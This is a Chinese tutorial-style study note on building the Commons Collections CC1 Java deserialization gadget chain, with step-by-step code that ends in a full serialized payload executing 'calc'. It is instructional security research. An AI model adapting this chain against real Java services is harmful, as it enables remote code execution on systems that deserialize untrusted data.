CC1链

CC1链

前置基础

Java反序列化原理:

接受任意对象,执行readObject方法

  1. 若有一个A的readObject方法,调用了O1.method1方法,则我们可以修改这个O1
  2. 且在O1.method1方法中,调用了O2.method2方法,则我们可以修改这个O2
  3. ……
  4. 最后调用了危险方法(Runtime.getRuntime.exec())

最后调用危险方法有两种类型:

  1. 不同类的同名函数
  2. 任意方法调用(反射/动态加载恶意字节码)

注意:

A :可序列化

重写readObject

接受任意对象作为参数

On : 可序列化

集合类型/接受Object/接受Map

CC1攻击链分析

Transformer接口
1
2
3
4
5
public interface Transformer {

public Object transform(Object input);

}

Transformer是一个接口类,提供对象转换方法transform(接收对象,并对对象做出操作)

重要的实现方法有:ConstantTransformerinvokerTransformerChainedTransformerTransformedMap

危险方法

这里我们找到InvokerTransformer类,该类中存在一个反射调用任意类,可以作为链子的终点
1
2
3
4
5
6
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

下面是该类的transform方法,用反射获取方法并invoke执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
  1. 使用InvokerTransformer中可执行任意方法,下面是反射调用
1
2
3
4
5
6
7
8
public static void main(String[] args) throws Exception {

Runtime rt = Runtime.getRuntime();
Class runtime = Runtime.class;
Method exec = runtime.getMethod("exec", String.class);
exec.invoke(rt,"calc");

}
  1. 现在使用InvokerTransformer来调用calc
1
2
3
4
5
6
public static void main(String[] args) throws Exception {

Runtime rt = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(rt);

}

调用transform方法

TransformedMap中的checkSetValue方法调用了valueTransformertransform方法

这里的valueTransformer在构造函数中初始化,但由于构造函数为protected属性,我们找到了本类中的decorate方法可以去构造一个TransformedMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

调用checkSetValue

查找用法,只有AbstractInputCheckedMapDecorator中的内部类MapEntrysetValue可以调用checkSetValue方法(AbstractInputCheckedMapDecorator他是TransformedMap的父类)

1
2
3
4
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}

通过遍历MapEntry,调用entry的setValue方法即可调用危险方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static void main(String[] args) throws Exception {

Runtime rt = Runtime.getRuntime();
// Class runtime = Runtime.class;
// Method exec = runtime.getMethod("exec", String.class);
// exec.invoke(rt,"calc");

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("calc", "calc");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

for (Map.Entry entry:transformedMap.entrySet()) {
entry.setValue(rt);
}

}

这里我没有很是理解,借用别的师傅的笔记

MapEntry中的setValue方法其实就是Entry中的setValue方法,他这里重写了setValue方法。

TransformedMap接受Map对象并且进行转换是需要遍历Map的,遍历出的一个键值对就是Entry,所以当遍历Map时,setValue方法也就执行了。

调用setValue

在该`AnnotationInvocationHandler`的`readObject`方法中,存在遍历Map并且调用`setValue`,所以该类可以作为我们的入口类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

但是AnnotationInvocationHandler并不是一个puclic类型的类,如果想要调用它的话,需要通过反射的方法来获取其构造函数进行实例化。

观察构造方法,第一个参数要传入一个注解类,第二个参数就要传入我们构造的恶意Map了

1
2
3
4
5
6
7
8
9
10
11
12
class AnnotationInvocationHandler implements InvocationHandler, Serializable 

// 构造函数
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
1
2
3
4
5
// 反射调用
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class,Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Override.class, transformedMap);

目前来说,不出意外的话,这个链子已经走完了,但是意外来的很快,我们发现其并没有成功执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static void main(String[] args) throws Exception {

Runtime rt = Runtime.getRuntime();
// Class runtime = Runtime.class;
// Method exec = runtime.getMethod("exec", String.class);
// exec.invoke(rt,"calc");

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("calc", "calc");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

// for (Map.Entry entry:transformedMap.entrySet()) {
// entry.setValue(rt);
// }
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class,Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Override.class, transformedMap);

serialize(o);
unserialize("ser.bin");


}

最后调整

这条链子没有走下来有几个原因

一)Runtime类没有继承序列化接口

1
public class Runtime

没有继承序列化接口就不能被序列化,但是我们可以通过反射来调用,我们先看看普通反射怎么写

1
2
3
4
5
Class c = Runtime.class
Method getRuntimeMethod = c.getMethod("getRuntime",null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
Method execMethod = c.getMethod("exec",String.class);
execMethod.invoke(r,"calc");

现在我们来把他改成一个InvokerTransformer的形式,但是如此来说就有点繁琐了,需要一直调用transform。

记得有一个ChainedTransformer类,传入一个transform数组,进行递归调用(前一个transform的返回值作为后一个transform的参数)

1
2
3
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);

这里是ChainedTransformer类的部分源码

1
2
3
4
5
6
7
8
9
10
11
12
13
// ChainedTransformer

private ChainedTransformer(final boolean clone, final Transformer<? super T, ? extends T>[] transformers) {
super();
iTransformers = clone ? FunctorUtils.copy(transformers) : transformers;
}

public T transform(T object) {
for (final Transformer<? super T, ? extends T> iTransformer : iTransformers) {
object = iTransformer.transform(object);
}
return object;
}

根据ChainedTransformer修改后,可成功执行

1
2
3
4
5
6
7
8
9
10
11
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
}

二)中间由于存在if判断,并没有进入到if中

通过动态调试,发现在readObject方法中if判断时,memberType为空,而没有进入到if中

这里的name是get到我们之前Map中put进去键值对的key,然后去检查这个注解类中有没有这个key名字的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}

因此我们修改一下,在Target注解中存在一个value的参数,在Target注解中存在value名字的参数,只需要把put进去的key改为value,将Overide注解的类换为Target注解类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class,Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, transformedMap);

serialize(o);
unserialize("ser.bin");
}

这里可以看到已经memberType已经不为NULL

三)readObject调用的setValue的参数值是固定的

我们的本意是将setValue中的值改为Runtime.class,但是实际上我们无法修改其中的值,若我们可以控制,这条链就成功走通了
1
2
3
4
5
6
7
8
9
10
if (memberType != null) {  // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}

还有一个比较重要的类ConstantTransformer,下面为ConstantTransformer的构造函数和transform方法,构造时传入的参数设为一个常量值,后续调用他的transform方法,无论传入什么值,都会返回这个常量,如果我们在构造时传入 Runtime.class呢

1
2
3
4
5
6
7
8
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

public Object transform(Object input) {
return iConstant;
}

现在只需要在Transformers的首位传入ConstantTransformer类,传入参数为Runtime的类,最后就能成功执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class,Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, transformedMap);

serialize(o);
unserialize("ser.bin");


}

大概的链子如下: